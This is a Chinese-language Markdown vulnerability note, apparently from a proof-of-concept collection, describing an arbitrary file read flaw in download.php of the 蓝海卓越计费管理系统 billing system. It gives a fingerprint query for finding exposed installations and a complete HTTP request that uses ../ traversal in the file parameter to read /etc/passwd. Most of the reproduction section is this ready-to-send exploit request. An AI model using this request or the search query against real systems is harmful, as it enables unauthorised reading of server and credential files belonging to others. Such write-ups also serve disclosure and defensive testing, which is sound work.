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55 lines
1.1 KiB
Markdown
55 lines
1.1 KiB
Markdown
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# 蓝海卓越计费管理系统 download.php 任意文件读取漏洞
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## 漏洞描述
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蓝海卓越计费管理系统 download.php文件存在任意文件读取漏洞，攻击者通过 ../ 遍历目录可以读取服务器上的敏感文件
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## 漏洞影响
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```
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蓝海卓越计费管理系统
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```
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## 网络测绘
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```
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title=="蓝海卓越计费管理系统"
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```
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## 漏洞复现
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登录页面如下
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出现漏洞的文件为 download.php ，其中 file参数 存在用户可控
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发送如下请求包
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```plain
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GET /download.php?file=../../../../../etc/passwd HTTP/1.1
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Host:
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
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Cookie: PHPSESSID=qkoqsiilc4dol8s4e9d7ta15g7; mylang=zh_s
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Connection: close
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```
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##
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